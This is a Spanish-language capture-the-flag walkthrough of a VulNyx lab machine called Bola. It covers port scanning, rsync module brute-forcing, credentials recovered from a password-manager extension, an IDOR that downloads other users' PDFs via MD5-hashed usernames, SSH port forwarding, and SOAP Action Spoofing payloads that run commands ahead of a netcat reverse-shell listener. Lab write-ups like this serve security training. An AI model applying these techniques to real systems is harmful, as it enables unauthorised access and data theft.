Bola

Difficulty: Medium

Recon

1. Hacemos un reconocimiento de la máquina objetivo directamente:

sudo nmap -sCV -p- --open -T5 192.168.56.104

• Puertos identificados:

  • 22/tcp

  • 80/tcp

  • 873/tcp

1. El puerto 80 está abierto, accedemos desde el navegador a ver que nos encontramos:

1. Añadiremos a /etc/hosts la IP que apunte a bola.nyx a ver si resuelve:

sudo nano /etc/hosts

192.168.56.104 bola.nyx

1. Volvemos a entrar desde el navegador:

• Ahora nos aparece que se ha añadido una nueva funcionalidad.

1. Hacemos click en el botón de Login:

• Nos lleva a un formulario de login. No tenemos ningún tipo de credencial, así que el siguiente paso sería realizar un fuzzeo.

1. Primero utilizaremos dirsearch para descubrir extensiones que nos ayudarán con el fuzzeo de los endpoints dentro de la web.

dirsearch -u http://bola.nyx

• Encontramos dos archivos txt:

  • security.txt

  • openid-configuration

• Y archivos y directorios interesantes, algunos que ellos redirigen:

  • /admin -> http://bola.nyx/admin/

  • /admin/admin.php -> /login/login.php

  • /download.php -> /login/login.php

  • /javascript -> http://bola.nyx/javascript/

  • /login -> http://bola.nyx/login/

1. Revisamos que contienen los archivos encontrados:

/.well-known/security.txt

• Poca cosa encontramos, el email de [e-mail]

/.well-known/openid-configuration

• Se muestra un listado de usuarios, con mails, nombres de usuarios, etc.

Enumeración

Rsync

1. Vamos a comprobar el servicio que se ejecuta en el puerto 873:

• Rsync tiene un archivo de configuración con un apartado public_files, que puede estar en yes o no, si está en yes podemos ver los módulos al ejecutar el comando. En el caso de la máquina Bola, está en no.

1. Cómo no podemos listarlos, habrá que fuzzearlo. Para ello utilizaremos la herramienta rsync-brute (https://github.com/VulNyx/Arsenal/tree/main/rsync-brute), que es de Vulnyx y nos facilitará este paso:

wget --no-check-certificate -q "https://raw.githubusercontent.com/VulNyx/Arsenal/refs/heads/main/rsync-brute/rsync-brute" -O /usr/bin/rsync-brute && chmod +x /usr/bin/rsync-brute

1. Seguimos el ejemplo de uso que se nos muestra:

rsync-brute -t bola.nyx -p 873 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

• Encontramos el recurso extensions.

1. Probaremos rsync sobre el recurso extensions:

rsync rsync://bola.nyx/extensions

• Encontramos 2 archivos:

  • Password_manager_FirefoxExtension-VulNyx.pdf

  • password_manager.zip

1. Descargaremos los archivos:

sudo rsync -avz --progress rsync://bola.nyx/extensions/Password_manager_FirefoxExtension-VulNyx.pdf .

sudo rsync -avz --progress rsync://bola.nyx/extensions/password_manager.zip .

• Desglose del comando:

  • -a → Mantiene los permisos, las fechas, los propietarios y la estructura de carpetas.

  • -v → Muestra cada archivo a medida que se descarga.

  • -z → Comprime los datos durante la transferencia para que sea más rápida.

  • --progress → Muestra el progreso de descarga del archivo.

  • . → Al final del comando, indica que se descargue en el directorio que nos encontramos actualmente.

1. Mostramos el contenido del pdf y vemos que es un manual de instalación de una extensión de navegador:

1. Seguimos el manual, e instalamos la extensión:

• En el navegador Firefox accedemos a: about:debugging#/runtime/this-firefox

• Hacemos click en Load Temporary Add-on... seleccionamos password_manager.zip y se nos instalará. Lo abrimos:

• Vemos una contraseña guardada, que al hacer click en Show podemos visualizarla:

1. Probaremos de acceder a bola.nyx con estas credenciales:

1. Y obtenemos acceso:

IDOR

• El archivo PDF que encontramos en el Portal Manager tiene el nombre encriptado.

1. Haremos click sobre él para descargarlo.

1. El nombre del archivo está encriptado, y pertenece al user jackie0x17, probamos a encriptar este nombre de usuario a ver si coincide con el nombre del archivo:

echo -n "jackie0x17" | base64

echo -n "jackie0x17" | md5sum

• El nombre del archivo es el nombre del usuario owner, encriptado en md5. Al mostrar el contenido del archivo /.well-known/openid-configuration se listaban varios usuarios. Siguiendo esta lógica, podríamos descargar sus PDF cambiando el nombre del archivo de la URL por el nombre del usuario encriptado en MD5.

1. Encriptamos los nombres de usuarios encontrados en openid-configuration:

• d4t4s3c

echo -n "d4t4s3c" | md5sum

• ct0l4

echo -n "ct0l4" | md5sum

1. Descargamos los archivos de los usuarios, cambiando el nombre del archivo en la URL:

• d4t4s3c:

• ct0l4:

• Del único que existe archivo es del usuario d4t4s3c, y además es el tutorial de conexión al servidor WSDL.

1. En la página 2 del pdf asociado al usuario d4t4s3c, encontramos una contraseña relacionada al usuario admin y al principio de la página 3, un puerto posiblemente interno porque no se ha identificado durante los escaneos de puertos externos:

1. Con las credenciales que hemos encontrado y sabiendo que el puerto de servicio SSH está abierto, probaremos a conectarnos:

ssh d4t4s3c@192.168.56.104

• Sabiendo que existe el puerto 9000 cómo hemos visto en el pdf de d4t4s3c y que previamente en los escaneos no aparecía, podemos concluir que es un puerto interno.

Port Forwarding

1. Ahora que tenemos credenciales válidas, podemos hacer un forwarding de puertos por ssh. Cuando nos conectemos, crearemos un túnel que hace que el puerto 9000 pase a ser nuestro y podamos acceder a él:

ssh -L 9000:127.0.0.1:9000 d4t4s3c@192.168.56.104

1. Desde el navegador accedemos a localhost:9000 y nos muestra el servidor WSDL.

WSDL

1. Accedemos al localhost:9000 y al archivo wsdl:

1. Descargamos y revisamos el archivo al completo.

2. Hay que entender la estructura de SOAP WSDL, que es la que se nos muestra al acceder a localhost:9000, este será nuestro punto de explotación.

SOAP Action Spoofing

1. Abrimos Burp Suite y capturaremos una request a localhost:9000 para enviarla al Repeater:

1. Al enviarla desde el Repeater, la propia web nos dice que tenemos que enviar una request POST con el header Content-Type bien configurado:

1. Vamos a cambiar de GET a POST y a introducir la estructura del SOAP WSDL, modificando los tags interiores y añadiendo y para permitir que se ejecuten comandos a través de la request:

<soap11env:Envelope xmlns:soap11env="http://schemas.xmlsoap.org/soap/envelope/">

    <soap11env:Body>
        <ExecuteCommand>
            <cmd>



                pwd
            </cmd>
        </ExecuteCommand>


    </soap11env:Body>
</soap11env:Envelope>

• Nos informa de que sólo está permitido en redes internas.

1. Cómo detecta el intento de ejecución desde el exterior por el tag , haremos la trampa de incluir el header SOAPAction para hacer al SOAP ejecutar la acción sin que se detecte a través de los tags. También cambiaremos el tag de por el de , que no tiene restricciones:

SOAPAction: ExecuteCommand

<?xml version="1.0" encoding="utf-8"?>
   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
   xmlns="http://localhost/wsdl">
   <soapenv:Header/>
      <soapenv:Body>
         <LoginRequest> 
            <cmd>hostname</cmd>
         </LoginRequest>
      </soapenv:Body>
   </soapenv:Envelope>

1. Esto nos sirve para bypassear la limitación de sólo desde redes internas y por lo tanto, podremos ejecutar una reverse shell para hacernos con el control del objetivo.

• Ponemos una consola a la escucha en nuestra máquina atacante:

nc -lvnp 4444

• Enviamos una busybox a través de la request de Burp:

1. Recibimos la conexión en el terminal y exploramos la máquina objetivo en busca de las flag: